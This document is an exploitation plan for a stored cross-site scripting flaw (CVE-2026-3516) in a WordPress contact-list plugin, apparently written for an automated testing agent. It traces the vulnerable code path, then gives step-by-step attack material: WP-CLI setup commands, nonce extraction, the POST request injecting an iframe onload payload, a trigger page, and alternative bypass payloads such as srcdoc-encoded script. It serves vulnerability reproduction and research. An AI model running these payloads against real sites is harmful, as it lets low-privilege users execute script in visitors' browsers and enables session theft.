Exploitation Research Plan: CVE-2026-3516

1. Vulnerability Summary

The Contact List plugin (<= 3.0.18) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists in the handling of the Google Maps iframe custom field for "Contact" posts. An authenticated user with Contributor-level access or higher can inject arbitrary HTML (specifically <iframe> tags with malicious attributes like onload) into the _cl_map_iframe post meta.

The plugin's saveCustomFields() function (in includes/class-contact-list-custom-fields.php) uses an insufficient regex to "sanitize" the input, only ensuring an iframe is present but failing to strip dangerous attributes. Subsequently, public/class-cl-public-card.php renders this stored meta value directly to the front-end without using wp_kses() or any escaping functions.

2. Attack Vector Analysis

• Endpoint: wp-admin/post.php (standard WordPress post update endpoint)
• Action: editpost
• Vulnerable Parameter: _cl_map_iframe
• Authentication Level: Contributor or above (any role capable of editing contact custom post types).
• Preconditions: The "Contact" Custom Post Type must be active (default behavior of the plugin).

3. Code Flow

1. Entry (Admin/Editor/Contributor): A user edits a "Contact" post. The meta box generated by ContactListCustomFields::createCustomFields() (in includes/class-contact-list-custom-fields.php) provides an input field for the map iframe.
2. Processing (Save): On save_post, the saveCustomFields() function is triggered.
   • It retrieves $_POST['_cl_map_iframe'].
   • It applies a regex (e.g., preg_match('/<iframe.*<\/iframe>/i', $input, $matches)) to extract the iframe.
   • It fails to sanitize the attributes within the extracted string.
   • The result is saved using update_post_meta($post_id, '_cl_map_iframe', $malicious_iframe).
3. Sink (Frontend): A user visits a page containing the [contact_list] shortcode.
   • ContactListCard::getMarkup() is called.
   • It iterates through fields and identifies the map field.
   • ContactListCard::getSingleMarkup($id, 'map', ...) is called.
   • Inside the switch ($field) statement, the case 'map' (inferred) fetches the meta: $iframe = get_post_meta($id, '_cl_map_iframe', true);.
   • The code then echoes or returns $iframe raw into the HTML buffer.

4. Nonce Acquisition Strategy

The vulnerability is exploited via the standard WordPress post editing flow.

1. Identify CPT: The plugin uses CONTACT_LIST_CPT = 'contact'.
2. Create Post: Create a new contact post using WP-CLI to get a post_id.
3. Get Nonce:
   • Use browser_navigate to wp-admin/post.php?post=[POST_ID]&action=edit.
   • Use browser_eval to extract the _wpnonce from the form:
     browser_eval("document.querySelector('#_wpnonce').value").
   • Note: The post_ID and standard _wpnonce are required for the editpost action.

5. Exploitation Strategy

Step 1: Create a Contact Post

Use WP-CLI to create a contact post.

wp post create --post_type=contact --post_title="XSS Contact" --post_status=publish --post_author=[CONTRIBUTOR_ID]

Step 2: Inject the Payload

Send a POST request to wp-admin/post.php as the Contributor user.

HTTP Request:

• URL: http://[target]/wp-admin/post.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

action=editpost
&post_ID=[POST_ID]
&_wpnonce=[NONCE]
&_cl_map_iframe=<iframe src="about:blank" onload="alert('XSS_SUCCESS_CVE_2026_3516')"></iframe>

Step 3: Trigger the XSS

Create a public page with the contact list shortcode.

wp post create --post_type=page --post_title="Contact Directory" --post_status=publish --post_content='[contact_list]'

Navigate to this page in the browser. The onload event in the iframe will execute.

6. Test Data Setup

1. User: Create a user with the contributor role.
2. Plugin Settings: Ensure the plugin is active. No special configuration is required as the custom fields are enabled by default for the contact CPT.
3. Shortcode Page: A page containing [contact_list] must exist to render the contacts.

7. Expected Results

• The injected iframe string <iframe src="about:blank" onload="alert('...')"></iframe> is saved in the wp_postmeta table for the given post_id under the key _cl_map_iframe.
• When the [contact_list] page is viewed, the HTML source contains the raw iframe tag.
• The browser executes the onload handler, displaying an alert box.

8. Verification Steps

1. Database Check:

   wp post meta get [POST_ID] _cl_map_iframe
   

   Confirm the output matches the injected payload exactly.
2. Frontend check:
   Use the http_request tool to fetch the shortcode page and grep for the payload.

   # Use Playwright/http_request to get HTML
   # Search for: <iframe src="about:blank" onload="alert
   

9. Alternative Approaches

• SVG Injection: If the regex is strictly looking for <iframe>, try nesting other tags if permitted, though the description specifically flags the iframe field.
• Different Attributes: If onload is blocked by some external WAF, try onmouseenter, src="javascript:alert(1)", or srcdoc with an encoded payload:
  <iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>
• Shortcode Specificity: If [contact_list] does not show the map by default, try [contact_list_simple] or check if attributes like [contact_list fields="full_name map"] are needed to force the map rendering. Based on getMarkup in public/class-cl-public-card.php, the fields_string might need to include map.